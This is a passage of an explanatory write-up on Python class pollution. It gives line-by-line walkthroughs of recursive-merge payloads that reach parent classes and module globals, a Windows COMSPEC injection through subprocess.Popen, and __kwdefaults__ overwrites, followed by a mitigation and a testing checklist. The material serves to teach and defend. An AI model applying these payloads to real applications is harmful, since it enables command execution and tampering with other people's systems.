def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = {
    "__class__":{
        "__base__":{
            "__base__":{
                "custom_command": "whoami"
            }
        }
    }
}

recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()

print(system_admin_emp.execute_command())
merge(emp_info, recruiter_emp)
print(system_admin_emp.execute_command())

#> [!] Executing: "echo Hello there", output: "Hello there"
#> [!] Executing: "whoami", output: "abdulrah33m"

Line by line:

  1. from os import popen brings in popen, a helper that runs a command on the computer and lets the program read its output.
  2. class Employee: pass is the shared parent.
  3. class HR(Employee): pass is a child of Employee.
  4. class Recruiter(HR): pass is a child of HR, so it is a grandchild of Employee.
  5. class SystemAdmin(Employee): is a separate child of Employee. It has a method execute_command.
  6. Inside execute_command, command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' means: if this object has an attribute called custom_command, use it as the command; otherwise use the harmless echo Hello there.
  7. return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"' runs the command and returns a sentence containing the command and its output.
  8. The merge function is unchanged.
  9. emp_info walks __class__, then __base__ twice, then sets custom_command to whoami. whoami is a standard command that prints the current user's name.
  10. recruiter_emp = Recruiter() and system_admin_emp = SystemAdmin() build one object of each class.
  11. The first print runs execute_command before the merge, so it uses the harmless default and prints Hello there.
  12. merge(emp_info, recruiter_emp) pollutes the shared parent class Employee with a custom_command attribute.
  13. The second print runs execute_command again. This time the SystemAdmin object finds custom_command through inheritance from Employee, so it runs whoami instead.

Setting custom_command on Employee means that when a SystemAdmin instance looks for that attribute, it finds it through inheritance. Whether the Recruiter instance was created before or after the merge does not matter, because the class itself is polluted and the change is reflected on existing and new instances. The only ordering requirement is that the gadget is invoked after the pollution.

Step 6: escaping the class hierarchy with __globals__

Pollution is not limited to the instance's classes and their attributes. The __globals__ attribute is, per the Python documentation, "A reference to the dictionary that holds the function's global variables, the global namespace of the module in which the function was defined." It gives access to defined variables, imported modules and so on. To access items of __globals__, the merge function must use __getitem__.

__globals__ is reachable from any defined method of the instance, such as __init__. Any defined method works, but __init__ is the most likely to exist on every class since it is the constructor. Built-in methods inherited from object, such as __str__, cannot be used unless they were overridden. <instance>.__init__, <instance>.__class__.__init__ and <class>.__init__ are all the same and point to the same class constructor.

The rule of thumb: if there is a chain of attributes/items (based on what the merge function supports) from the controlled object to any attribute or variable, it can be overwritten. This greatly increases the attack surface when looking for gadgets.

Python
def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

class User:
	def __init__(self):
		pass

class NotAccessibleClass: pass
not_accessible_variable = 'Hello'

merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User())

print(not_accessible_variable)
print(NotAccessibleClass)

#> Polluted variable
#> <class '__main__.PollutedClass'>

Line by line:

  1. The merge function is unchanged.
  2. class User: with def __init__(self): pass defines a class whose constructor does nothing. The constructor is the method that runs when an object is created.
  3. class NotAccessibleClass: pass defines an unrelated class that the attacker's object has no direct link to.
  4. not_accessible_variable = 'Hello' is a plain variable sitting at the top level of the script.
  5. The merge call passes a dictionary whose path is __class__, then __init__, then __globals__, then two changes: rename not_accessible_variable and rename NotAccessibleClass.
  6. print(not_accessible_variable) shows the variable is now Polluted variable.
  7. print(NotAccessibleClass) shows the unrelated class is now called PollutedClass.

NotAccessibleClass and not_accessible_variable would not be reachable otherwise: the class is not a parent of the controlled instance and the variable is not an attribute of the controlled class. The chain through __globals__ makes both reachable.

Step 7: Pydash set_ and set_with

Pydash is the Python implementation of Lodash, and Lodash is one of the JavaScript libraries where Prototype Pollution was discovered and reported more than once. Pydash's set_ and set_with are recursive merge-style functions that can be used to pollute attributes. Both allow moving between an object's attributes and dictionary items and setting them, which is the most useful case. They take the object, the path of the attribute/item to set, and the value.

All the previous examples work with set_ and set_with instead of the hand-written merge function. The difference is that Pydash uses dot notation, ((<attribute>|<item>).)*(<attribute>|<item>), rather than the JSON format.

Python
import pydash

class User:
    def __init__(self):
        pass

class NotAccessibleClass: pass
not_accessible_variable = 'Hello'

pydash.set_(User(), '__class__.__init__.__globals__.not_accessible_variable','Polluted variable')
print(not_accessible_variable)

pydash.set_(User(), '__class__.__init__.__globals__.NotAccessibleClass.__qualname__','PollutedClass')
print(NotAccessibleClass)

#> Polluted variable
#> <class '__main__.PollutedClass'>

Line by line:

  1. import pydash loads the Pydash library so its functions can be used.
  2. class User: with an empty __init__ defines the object the attacker controls.
  3. class NotAccessibleClass: pass and not_accessible_variable = 'Hello' are the unrelated class and variable from before.
  4. pydash.set_(User(), '__class__.__init__.__globals__.not_accessible_variable','Polluted variable') tells Pydash: start from a new User object, follow the dotted path to the global variable, and set it to Polluted variable.
  5. print(not_accessible_variable) shows the change.
  6. The second pydash.set_ follows a similar path to the unrelated class and renames it to PollutedClass.
  7. print(NotAccessibleClass) shows the renamed class.

Step 8: gadget, subprocess.Popen on Windows

As with Prototype Pollution, impact depends on the application and the available gadgets, ranging from DoS by crashing the application to command execution. The first gadget targets subprocess.Popen on Windows. The script merges attacker-controlled JSON into a new Employee instance, then runs a hard-coded whoami through Popen. The goal is to hijack Popen so it runs arbitrary commands instead.

Python
import subprocess, json

class Employee:
	def __init__(self):
		pass

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = json.loads('{"name": "employee"}') # attacker-controlled value

merge(emp_info, Employee())

subprocess.Popen('whoami', shell=True)

Line by line:

  1. import subprocess, json loads two modules: subprocess runs other programs, json reads JSON text. JSON is a common text format for structured data, made of keys and values.
  2. class Employee: with an empty __init__ defines the object the attacker controls.
  3. The merge function is unchanged.
  4. emp_info = json.loads('{"name": "employee"}') turns a JSON string into a Python dictionary. The comment marks it as the value an attacker could supply.
  5. merge(emp_info, Employee()) copies that dictionary onto a fresh object.
  6. subprocess.Popen('whoami', shell=True) runs the whoami command through the system shell. The shell=True part means "run this through the operating system's command interpreter".

Looking at the subprocess module source for Windows, the relevant part is:

Python
if shell:
    startupinfo.dwFlags |= _winapi.STARTF_USESHOWWINDOW
    startupinfo.wShowWindow = _winapi.SW_HIDE
    comspec = os.environ.get("COMSPEC", "cmd.exe")
    args = '{} /c "{}"'.format (comspec, args)

Line by line:

  1. if shell: checks whether the caller asked for shell execution.
  2. The two startupinfo lines set window display options for the new process.
  3. comspec = os.environ.get("COMSPEC", "cmd.exe") looks up the environment variable COMSPEC, which normally holds the path to the Windows command interpreter, and falls back to cmd.exe if it is not set. An environment variable is a named setting the operating system keeps for programs.
  4. args = '{} /c "{}"'.format (comspec, args) builds the final command line by putting the interpreter path in front of the command.

When shell is True, the code reads the path of cmd.exe from the COMSPEC environment variable and runs C:\WINDOWS\system32\cmd.exe /c <command>. If COMSPEC is not defined, the local variable comspec (not the environment variable) is set to cmd.exe. Controlling COMSPEC in os.environ therefore allows injecting arbitrary commands.

The chain is:

  1. Access any method of the Employee instance other than the built-in ones to reach __globals__; here it is __init__.
  2. Through __globals__, reach the subprocess module imported in the script.
  3. The first lines of subprocess import the os module, which is needed to reach environ. If os were already imported in the script, it could be reached directly via __init__.__globals__.os without going through subprocess.
  4. From the os module, overwrite COMSPEC inside environ to inject a command.
Python
import subprocess, json

class Employee:
	def __init__(self):
		pass

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

emp_info = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value

merge(emp_info, Employee())

subprocess.Popen('whoami', shell=True) # Calc.exe will pop up

Line by line:

  1. The imports, the class and the merge function are the same as before.
  2. emp_info = json.loads(...) builds a nested dictionary whose path is __init__, then __globals__, then subprocess, then os, then environ, then COMSPEC, with the value cmd /c calc. calc is the Windows calculator program.
  3. merge(emp_info, Employee()) walks that path and overwrites the COMSPEC environment variable.
  4. subprocess.Popen('whoami', shell=True) still asks to run whoami, but because COMSPEC now points to cmd /c calc, the calculator opens instead.

Step 9: gadget, overwriting a function's __kwdefaults__

__kwdefaults__ is a special attribute of all functions: per the Python documentation, a "mapping of any default values for keyword-only parameters". Polluting it controls the default values of keyword-only parameters, the ones after * or *args.

Python
import json

def merge(src, dst):
    # Recursive merge function
	for k, v in src.items():
		if hasattr(dst, '__getitem__'):
			if dst.get(k) and type(v) == dict:
				merge(v, dst.get(k))
			else:
				dst[k] = v
		elif hasattr(dst, k) and type(v) == dict:
			merge(v, getattr(dst, k))
		else:
			setattr(dst, k, v)

class Employee:
	def __init__(self):
		pass

def print_message(*, message='Hello there'):
	print(message)

print(print_message.__kwdefaults__)
print_message()

emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"print_message":{"__kwdefaults__":{"message":"Polluted default value"}}}}}}') # attacker-controlled value
merge(emp_info, Employee())

print(print_message.__kwdefaults__)
print_message()

#> {'message': 'Hello there'}
#> Hello there

#> {'message': 'Polluted default value'}
#> Polluted default value

Line by line:

  1. import json loads the JSON module.
  2. The merge function and the empty Employee class are the same as before.
  3. def print_message(*, message='Hello there'): defines a function whose message parameter is keyword-only, meaning it must be passed by name. Its default is Hello there.
  4. print(print_message.__kwdefaults__) shows the stored defaults, which is {'message': 'Hello there'}.
  5. print_message() calls the function without arguments, so it prints Hello there.
  6. emp_info = json.loads(...) builds a path from __class__ to __init__ to __globals__ to the print_message function to its __kwdefaults__, setting message to Polluted default value.
  7. merge(emp_info, Employee()) applies the change.
  8. The final prints show the stored default and the function's output have both changed.

__defaults__ is a tuple holding defaults for positional-or-keyword parameters, and polluting it would be useful, but it is not possible when the attacker-controlled input is parsed as JSON, because JSON has no tuples ().

Step 10: other gadgets

The author lists two more without full examples: overwriting a Flask web app's secret key used for session signing, and path hijacking via os.environ.

Root cause

The mistake is a recursive merge that takes untrusted input and uses it to set attributes (and items) on an object without restricting which keys may be traversed. Because Python exposes special attributes such as __class__, __base__, __init__ and __globals__, a key that looks like data can walk from the instance into its class, into parent classes, and through a method's globals into module-level variables and imported modules. The same input that should only populate fields like name and age can therefore rewrite class attributes and global state.

Existing defences did not stop it because Python's own protection only covers immutable types: object, str, int, dict and similar cannot be modified, which is why object.__qualname__ fails. Everything else in the chain is mutable, so the restriction only narrows the target set rather than preventing the attack. The author notes that a merge function which only sets dictionary items via __getitem__ and __setitem__ is usually not exploitable, since special attributes cannot be reached that way; the dangerous case is a function that also sets attributes, or that supports both attributes and items.

Impact

The impact depends on the application and the gadgets available, ranging from denial of service by crashing the application to command execution. The author is explicit that a full exploit leading to RCE had not been found at the time of writing, although vulnerable merge functions were found in various open-source projects. The demonstrated command execution gadgets are proof-of-concept scripts: the subprocess.Popen one works on Windows only. The __globals__ chain widens the attack surface considerably, because it allows reaching classes and variables that are not in the controlled instance's inheritance chain.

Fix

The report does not describe a fix applied to any project. The implied mitigation is to constrain what a recursive merge may traverse: reject or ignore keys that resolve to special attributes such as __class__, __base__, __globals__ and __kwdefaults__, and avoid using attacker-controlled keys to set attributes on arbitrary objects. A merge that only sets items of a plain dictionary, without attribute access, avoids the class and globals traversal described here.

Variants to test

  1. Recursive merge into an object. Feed a JSON body with a __class__ key into any endpoint that merges input into an object. A positive result is that the class's __qualname__ changes, visible in the object's repr or in error messages.
  2. Parent class traversal. Add nested __base__ keys to reach a parent class. A positive result is that a parent class's attribute changes while the instance's own class is untouched.
  3. Sibling class gadget. If two classes share a parent, merge into an instance of one and look for a method on the other that reads an attribute it does not define. A positive result is that the method picks up the polluted value from the shared parent.
  4. Globals escape. Use __class__.__init__.__globals__ to reach module-level variables and imported modules. A positive result is that a global variable or an unrelated class changes.
  5. Pydash set_ and set_with. Where these functions process user input, pass dot-notation paths such as __class__.__init__.__globals__.<name>. A positive result is the same pollution as with a hand-written merge.
  6. Environment variable hijack. On Windows, pollute COMSPEC through __globals__.subprocess.os.environ before a Popen(..., shell=True) call. A positive result is that the injected command runs instead of the intended one.
  7. Keyword-only defaults. Pollute a function's __kwdefaults__ through globals. A positive result is that calling the function without the keyword argument uses the polluted default.
  8. Flask secret key and path hijacking. Try overwriting the Flask secret key used for session signing, and try path hijacking via os.environ. Try overwriting the Flask secret key used for session signing, and try path hijacking via os.environ.

Glossary

  • API: a defined way for one piece of software to talk to another, like a service counter where you ask for something by name.
  • Attribute: a named piece of information attached to an object or class, such as a name or an age.
  • Class: a blueprint in a program that describes what a kind of object contains and can do.
  • Class Pollution: the Python variant of Prototype Pollution described here, where attacker input changes a class or its parent classes instead of a prototype.
  • Client-side: code that runs in the user's browser rather than on a server.
  • Constructor: the method that runs when a new object is created, usually named __init__ in Python.
  • Denial of service (DoS): making a service or program unusable, for example by crashing it.
  • Dictionary: a collection of key/value pairs, where each label points to a value.
  • Dunder method: a special method with double underscores on both sides, such as __str__, that Python calls automatically in certain situations.
  • Environment variable: a named setting kept by the operating system and readable by programs, such as COMSPEC.
  • Function: a reusable block of code that performs a task when called.
  • Gadget: an existing piece of code in an application that an attacker can abuse to turn a small change into a bigger effect, such as running a command.
  • Immutable: unable to be changed after creation, such as object, str, int and dict classes in Python.
  • Inheritance: the way a child class automatically receives the attributes and methods of a parent class.
  • Instance: one concrete object built from a class.
  • JSON: a common text format for structured data made of keys and values.
  • Keyword-only parameter: a function parameter that must be passed by name, written after * in the definition.
  • Lodash: a popular JavaScript library of utility functions, including merge functions.
  • Method: a named action an object or class can perform.
  • Module: a file of ready-made code that a program can import and use.
  • Mutable: able to be changed after creation.
  • Object: one concrete thing in a program, built from a class.
  • Object injection: a vulnerability where attacker input is written into an object's fields.
  • Popen: a Python helper in the subprocess module that starts another program.
  • Prototype: in JavaScript, the mechanism by which objects inherit features from one another.
  • Prototype Pollution: a vulnerability where an attacker modifies Object.prototype, affecting nearly all objects in JavaScript.
  • Pydash: the Python port of Lodash, providing similar utility functions such as set_ and set_with.
  • RCE (remote code execution): an attacker running their own commands on someone else's machine.
  • Recursive: a function that calls itself to go deeper into nested data.
  • Server-side: code that runs on a server rather than in the user's browser.
  • Shell: the operating system's command interpreter, such as cmd.exe on Windows.
  • Special attribute: an attribute every Python object has for a specific purpose, such as __class__, __base__ or __globals__.
  • Tuple: an ordered, unchangeable group of values in Python, written with round brackets.
  • Variable: a named place in a program that holds a value.

Similar reports

View all

Same bug class and techniques, clearest first.

Prototype pollution

The lesson behind this report.

Input changes JavaScript's shared object prototype, altering behaviour across the application, sometimes to XSS or code execution.